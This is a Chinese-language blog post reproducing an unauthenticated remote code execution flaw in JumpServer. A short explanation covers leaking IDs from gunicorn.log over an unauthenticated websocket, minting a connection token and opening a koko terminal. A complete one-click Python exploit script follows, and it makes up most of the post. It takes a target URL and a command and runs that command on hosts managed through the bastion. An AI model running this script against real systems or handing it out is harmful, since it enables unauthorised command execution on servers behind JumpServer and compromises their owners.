jumperver rce 未授权复现

/ 0评 / 0

jumperver rce 未授权复现

复现原理

ws未授权访问ws://192.168.1.73:8080/ws/ops/tasks/log/,读取/opt/jumpserver/logs/gunicorn.log中三个id,分别为user_id、asset_id、system_user_id
然后通过/api/v1/authentication/connection-token/?user-only=1获取token,最后带着这个token访问ws://example.com/koko/ws/token/?target_id=token,直接登录到机器,执行任意命令
 

一键rce脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:Ha1c9on
import asyncio
import json
import websockets
import requests
from aiowebsocket.converses import AioWebSocket
import re
import sys
# 获取日志信息
async def startup(host):
    url = host + "/ws/ops/tasks/log/"
    async with AioWebSocket(url) as aws:
        converse = aws.manipulator
        message = b'{"task":"/opt/jumpserver/logs/gunicorn"}'
        while True:
            await converse.send(message)
            mes = await converse.receive()
            if 'system_user' in str(mes):
                asset = re.search(r'asset_id=(.*?)&cache_policy=1',str(mes))[0][9:45]
                system_id = re.search(r'system_user_id=(.*?)&use',str(mes))[0][15:51]
                user_id = re.search(r'&user_id=(.*?) HTTP/1.1',str(mes))[0][9:45]
                print("[*]asset:"+asset)
                print("[*]system_id:"+system_id)
                print("[*]user_id:"+user_id)
                data={"user":user_id,"asset":asset,"system_user":system_id}
                url = "/api/v1/authentication/connection-token/?user-only=1"
                res = requests.post(host + url, json=data)
                token = res.json()["token"]
                print("[*]token:"+token)
                break
    return token
# 发送信息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'[-]you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    res = f"{recv_text}"
    result = re.search("\"data\":\"(.|\n)*\"}",res)[0][8:-2].replace("\\r\\n",'\r\n')
    print("[*]result:"+result.replace(r"\u001b","").replace(r"\u0007",""))
# 客户端主逻辑
async def main_logic(host,cmd,token):
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + str(token)
    print("[*]target ws:"+target)
    print("[+]start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        res = f"{recv_text}"
        result = re.search("\"data\":\"(.|\n)*\"}",res)[0][8:-2].replace("\\r\\n",'\r\n')
        print("[*]result:"+result.replace(r"\u001b","").replace(r"\u0007",""))
        resws=json.loads(recv_text)
        id = resws['id']
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(4):
            recv_text = await websocket.recv()
            res = f"{recv_text}"
            result = re.search("\"data\":\"(.|\n)*\"}",res)[0][8:-2].replace("\\r\\n",'\r\n')
            print("[*]result:"+result.replace(r"\u001b","").replace(r"\u0007",""))
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        #print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(3):
            recv_text = await websocket.recv()
            res = f"{recv_text}"
            result = re.search("\"data\":\"(.|\n)*\"}",res)[0][8:-2].replace("\\r\\n",'\r\n')
            print("[*]result:"+result.replace(r"\u001b","").replace(r"\u0007",""))
        await send_msg(websocket, "exit")
        print('[-]finish')
if __name__ == '__main__':
    try:
        host = sys.argv[1]
        cmd = sys.argv[2]
        if host[-1] == '/':
            host = host[:-1]
        print("[+]HOST:"+host)
        print("[+]CMD:"+cmd)
        token = asyncio.get_event_loop().run_until_complete(startup(host))
        asyncio.get_event_loop().run_until_complete(main_logic(host,cmd,token))
    except:
        print("python jumpserver.py http://192.168.1.73 whoami")

 

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注